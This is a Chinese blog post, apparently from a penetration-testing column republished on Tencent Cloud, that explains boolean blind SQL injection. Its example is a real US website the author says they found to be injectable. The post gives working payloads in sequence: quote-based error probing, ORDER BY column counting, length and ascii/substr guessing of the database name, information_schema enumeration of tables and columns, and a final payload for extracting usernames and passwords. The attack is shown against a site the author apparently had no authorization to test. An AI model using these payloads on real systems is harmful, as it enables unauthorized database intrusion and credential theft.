前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >盲注基本原理

盲注基本原理

作者头像
天钧
发布2019-12-17 18:05:43
7670
发布2019-12-17 18:05:43
举报
文章被收录于专栏:渗透云笔记渗透云笔记

最近找到一个带有注入的美国网站,发现是盲注,简单讲讲盲注的原理。

1.xxx.com/index.php?ID=79这个位置单引号报错,并且直接给出错误信息:

代码语言:javascript
复制
SQL: SELECT *FROM catalog WHERE ID = '79''

知道了他的表是catalog,并且是单引号闭合。

2.尝试闭合,输入‘ --+ 后,页面返回正常。

3.开始猜测字段。

输入

代码语言:javascript
复制
ID=79' order by 5--+

教科书般的错误返回信息。

错误信息为:

代码语言:javascript
复制
Unknown column '5' in 'order clause'

没有第5个字段。

继续尝试,输入

代码语言:javascript
复制
ID=79' order by 4--+

返回正常,表明当前表中有4个字段

4.查看返回信息

输入:

代码语言:javascript
复制
ID=79' select 1,2,3,4 --+

尝试了很多次都不会显示任何信息,于是尝试盲注。

这里,他的表名称已经出来的,但是我还是选择看看其他表。所以,从头开始。

输入:

代码语言:javascript
复制
ID=79' and length(database())>10 --+

查看他的数据库名称是否大于10,返回错误

继续,测试,大于9的时候返回正常

继续确定

输入:

代码语言:javascript
复制
ID=79' and length(database())=10 --+

最终确定他的数据库名称有10个字符

5.开始猜测数据库名

首先猜测第一位字母

打开ascii对照表

数据库名应该是从a到z

输入:

代码语言:javascript
复制
ID=79' and ascii(substr(database(),1,1))>122 --+

数据库第一个字母的ascii码是否大于122,返回错误

判断是否大于50,返回真。继续

是否大于75,返回真

最终测得数据库第一个字母的ascii码的值为115时返回正常。

115对应的是s。所以数据库第一个字母为s。

同样的方法测试第二字符的ascii码为101,对应ascii码,字符为e。

6.最终以上面的方法测出数据库名为sedimental

接下来爆表

代码语言:javascript
复制
and ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))>0--+

这个payload不好直观理解,我们到本地mysql环境中看看。

输入:

代码语言:javascript
复制
select table_name from information_schema.tables where table_schema=database()

是直接显示当前数据库表名称。

输入payload后显示,返回多行

那么使用limit参数

limit0,1 ——>显示第一行数据

limit1,2——>显示第二行数据

所以,一个表为一行。

输入:

代码语言:javascript
复制
and ascii(substr((select table_name from information_schema.tables where table _schema=database() limit 0,1),1,1))>0 --+

解读:返回第一个表的第一个字母的ascii码是否大于0

以此类推,得出第一个表,第二个表。

7.爆字段

代码语言:javascript
复制
 and ascii(substr((select column_name from information_schema.columns where table_name=‘xxxx’ limit 0,1),1,1))>0

8.爆内容

代码语言:javascript
复制
and ascii(substr((select username,password from xxxx limit 0,1),1,1))>0

原理和上面类似。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-12-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透云笔记 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档